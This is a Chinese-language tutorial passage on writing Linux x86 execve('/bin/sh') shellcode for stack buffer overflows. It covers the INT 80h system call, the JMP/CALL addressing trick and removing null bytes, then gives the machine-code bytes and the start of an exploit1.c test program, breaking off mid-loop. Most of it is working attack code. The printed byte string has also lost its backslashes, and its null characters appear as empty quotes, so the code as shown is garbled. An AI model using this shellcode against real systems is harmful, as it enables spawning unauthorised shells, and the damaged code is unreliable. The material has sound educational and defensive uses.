不同的操作系統,不同的CPU,他們產生系統調用的方法也不盡相同. 有些使用軟中斷,有些使用遠程調用.從參數傳遞的角度來說,有些使用寄存器,有些使用堆棧. 我們的這個例子是在基於Intel X86的Linux上運行的.所以我們首先應該知道Linux中,系統調用以軟中斷的方式產生( INT 80h),參數是通過寄存器傳遞給系統的. 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 同樣的入口處理 0x80002c0 <__execve+4>: movl $0xb,%eax 將0xb(11)賦給eax , 這是execve()在系統中的索引號. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 將字符串"/bin/sh"的地址賦給ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 將name[]的地址賦給ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 將NULL的地址賦給edx 0x80002ce <__execve+18>: int $0x80 產生系統調用,進入核心態運行. 看了上面的代碼,現在我們可以把它精簡為下面的匯編語言程序: leal string,string_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 (我對Linux的匯編語言格式了解不多,所以這幾句使用的是DOS匯編語言的格式) string db "/bin/sh",0 string_addr dd 0 null_addr dd 0 但是這段代碼中還存在著一個問題 ,就是我們在編寫ShellCode時並不知道這段程序執行時在內存中所處的位置,所以像: movl string_addr,%ebx 這種需要將絕對地址編碼進機器語言的指令根本就沒法使用. 解決這個問題的一個辦法就是使用一條額外的JMP和CALL指令. 因為這兩條指令編碼使用的都是 相對於IP的偏移地址而不是絕對地址, 所以我們可以在ShellCode的最開始加入一條JMP指令, 在string前加入一條CALL指令. 只要我們計算好程序編碼的字節長度,就可以使JMP指令跳轉到CALL指令處執行,而CALL指令則指向JMP的下一條指令,因為在執行CALL指令時,CPU會將返回地址(在這裡就是string的地址)壓入堆棧,所以這樣我們就可以在運行時獲得string的絕對地址.通過這個地址加偏移的間接尋址方法,我們還可以很方便地存取string_addr和null_addr. 經過上面的修改,我們的ShellCode變成了下面的樣子: jmp 0x20 popl esi movb $0x0,0x7(%esi) movl %esi,0x8(%esi) movl $0x0,0xC(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xC(%esi),%edx int $0x80 call -0x25 string db "/bin/sh",0 string_addr dd 0 null_addr dd 0 # 2 bytes,跳轉到CALL # 1 byte, 彈出string地址 # 4 bytes,將string變為以''結尾的字符串 # 7 bytes # 5 bytes # 2 bytes # 3 bytes # 3 bytes # 2 bytes # 5 bytes,跳轉到popl %esi 我們知道C語言中的字符串以''結尾,strcpy等函數遇到''就結束運行.因此為了保證我們的ShellCode能被完整地拷貝到Buffer中,ShellCode中一定不能含有''. 下面我們就對它作最後一次改進,去掉其中的'': 原指令: 替換為: movb $0x0,0x7(%esi) xorl %eax,%eax movl $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al OK! 現在我們可以試驗一下這段ShellCode了. 首先我們把它封裝為C語言的形式. void main() { __asm__(" jmp 0x18 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes call 0x2d # 5 bytes .string "/bin/sh" # 8 bytes "); } 經過編譯後,用gdb得到這段匯編語言的機器代碼為: xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh 現在我們可以寫我們的試驗程序了: exploit1.c: char shellcode[] = "xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer; for(i=0;i